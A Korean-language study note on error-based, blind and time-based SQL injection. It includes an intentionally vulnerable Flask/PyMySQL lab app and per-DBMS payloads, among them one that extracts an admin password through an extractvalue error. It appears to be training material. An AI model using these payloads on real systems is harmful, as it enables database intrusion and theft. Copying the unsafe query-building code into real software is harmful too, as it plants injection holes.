Error based SQL Injection 정리

1. 개요

Error based SQL Injection은 **임의의 에러를 발생시켜** 데이터베이스 또는 운영체제 정보를 얻는 공격 기법이다.

2. 실습 예제 코드 (Flask + PyMySQL)

```
pip3 install PyMySQL
```

```
from flask import Flask, request
import pymysql

app = Flask(__name__)

def getConnection():
    return pymysql.connect(
        host='localhost',
        user='dream',
        password='hack',
        db='dreamhack',
        charset='utf8'
    )

@app.route('/', methods=['GET'])
def index():
    username = request.args.get('username')
    sql = "select username from users where username='%s'" % username

    conn = getConnection()
    curs = conn.cursor(pymysql.cursors.DictCursor)
    curs.execute(sql)
    rows = curs.fetchall()
    conn.close()

    if(rows):
        return "True"
    else:
        return "False"

app.run(host='0.0.0.0', port=8000, debug=True)
```

- **취약점**: 입력값에 대한 검증 없음 → SQL Injection 가능
- **디버그 모드 활성화**: 에러 발생 시 상세 메시지 노출

3. 공격 예시 및 원리

3.1 에러 메시지 예시

```
admin 1'
```

```
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version...
```

3.2 런타임 에러 유도 (MySQL)

```
SELECT extractvalue(1,concat(0x3a,version()));
```

```
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
```

3.3 extractvalue 함수 설명

- XML 데이터에서 XPath를 통해 값 추출
- 잘못된 XPath 입력 시 에러 발생하며 삽입한 값이 포함됨

```
SELECT extractvalue('<a>test</a>', '/a');
-- 결과: test

SELECT extractvalue(1, ':abcd');
-- 결과: XPATH syntax error: ':abcd'
```

3.4 응용 예시

```
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE
username='admin')));
-- 에러 메시지에 비밀번호 노출
```

4. DBMS별 Error based SQLI

MySQL

```
SELECT updatexml(null,concat(0x0a,version()),null);
SELECT extractvalue(1,concat(0x3a,version()));
```

```
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM
information_schema.tables GROUP BY x;
```

MSSQL

```
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
```

Oracle

```
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM
dual;
```

5. Error based Blind SQL Injection

예시

```
SELECT IF(1=1, 9e307*2, 0); -- 에러 발생
SELECT IF(1=0, 9e307*2, 0); -- 정상 실행
```

Short-circuit Evaluation

```
SELECT 0 AND SLEEP(1); -- 바로 반환
SELECT 1 AND SLEEP(10); -- 10초 지연

SELECT 1=1 OR 9e307*2; -- 에러 없음
SELECT 1=0 OR 9e307*2; -- 에러 발생
```

6. Time based SQL Injection

- 시간 지연으로 참/거짓 여부 판단

MySQL 예시

```
SELECT IF(1=1, sleep(1), 0); -- 1초 지연
SELECT IF(1=0, sleep(1), 0); -- 바로 반환

SELECT SLEEP(1);
SELECT BENCHMARK(40000000,SHA1(1));

-- 헤비 쿼리
```

```
SELECT (SELECT count(*) FROM information_schema.tables A,
information_schema.tables B, information_schema.tables C);
```

MSSQL 예시

```
SELECT '' IF((SELECT 'abc')='abc') WAITFOR DELAY '0:0:1';

-- 헤비 쿼리
SELECT (SELECT count(*) FROM information_schema.columns A, B, C, D, E, F);
```

7. 마무리

- **Error based SQLI**: 쿼리 실행 결과를 에러 메시지로 노출해 공격
- **Time based SQLI**: 시간 지연을 활용해 조건 만족 여부 확인

키워드 요약

- **Error based SQL Injection**: 에러 메시지를 통해 정보 획득
- **Error based Blind SQL Injection**: 에러 발생 여부로 참/거짓 판단
- **Time based SQL Injection**: 시간 지연으로 조건 참/거짓 판단
- **헤비 쿼리**: 많은 자원과 시간을 소모하는 쿼리